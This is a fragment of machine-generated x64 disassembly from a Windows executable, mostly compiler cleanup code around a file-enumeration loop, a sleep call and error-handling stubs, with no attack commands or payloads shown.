jb 0x140004388
inc rdx
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004383
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004867
call fcn.14001d650
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x180], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x168], 0
lea rax, [rsp + 0x228]
mov rcx, qword [rsp + 0x220]
cmp rcx, rax
je 0x1400043bf
call fcn.14007c800
nop
mov rdx, qword [rsp + 0xd8]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400043e2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x140004426
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004420
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000486d
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x160]
cmp rdx, 0x10
jb 0x14000446a
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004464
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004873
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x100]
cmp rdx, 8
jb 0x1400044b2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004879
call fcn.14001d650
mov rdi, 0xffffffffffffffff
mov rbx, qword [rsp + 0x50]
mov r12d, dword [rsp + 0x30]
lea rdx, [rsp + 0x2b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140003224
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
lea rcx, [rsp + 0x188]
call fcn.140006b80
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rsp + 0xd0]
cmp rdx, 8
jb 0x140004548
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004542
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000487f
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 0x10
jb 0x14000458c
inc rdx
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004586
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000489b
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x1d8]
cmp rdx, 0x10
jb 0x1400045d0
inc rdx
mov rcx, qword [rsp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400048a1
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x120]
cmp rdx, 8
jb 0x140004618
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004613
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400048a7
call fcn.14001d650
mov qword [rsp + 0x118], r15
mov qword [rsp + 0x120], 7
mov word [rsp + 0x108], r15w
mov rdx, qword [rsp + 0x218]
cmp rdx, 8
jb 0x14000467e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004678
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400048ad
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x1f8]
cmp rdx, 0x10
jb 0x1400046c1
inc rdx
mov rcx, qword [rsp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400048b3
call fcn.14001d650
movdqa xmm0, xmmword [0x1400c9780]
movdqu xmmword [rsp + 0x1f0], xmm0
mov byte [rsp + 0x1e0], 0
mov rcx, qword [rsp + 0x58]
call fcn.140007340
jmp 0x140004739
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.14001d630
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.1400016b0
nop
call fcn.1400016b0
nop
call fcn.140001610
nop
call fcn.1400016b0
call fcn.140001610
nop
call fcn.1400016b0
call fcn.140001610
call fcn.140001610
nop
call fcn.14007c430
nop
call fcn.14007c430
int3
call fcn.1400016b0
call fcn.140001610
nop
mov ecx, 0x80004005
call fcn.140002870
nop
mov ecx, 0x80070057
call fcn.140002870
call fcn.14007c594
mov dword [rax], socket
call fcn.14007c410
mov ecx, 0x80070057
call fcn.140002870
mov ecx, 0x80070057
call fcn.140002870
mov ecx, 0x80070057
call fcn.140002870
call fcn.14007c594
mov dword [rax], socket
call fcn.14007c410
mov ecx, 0x80070057
call fcn.140002870
mov ecx, 0x80004005
call fcn.140002870
mov ecx, 0x80070057
call fcn.140002870
nop
mov ecx, 0x80004005
call fcn.140002870
nop
mov ecx, 0x80070057
call fcn.140002870
mov ecx, 0x80070057
call fcn.140002870
nop
mov ecx, 0x80070057
call fcn.140002870
nop
mov ecx, 0x80004005
call fcn.140002870
int3
mov ecx, 0x80070057
call fcn.140002870
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
mov ecx, 0x80070057
call fcn.140002870
nop
mov ecx, 0x80070057
call fcn.140002870
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
int3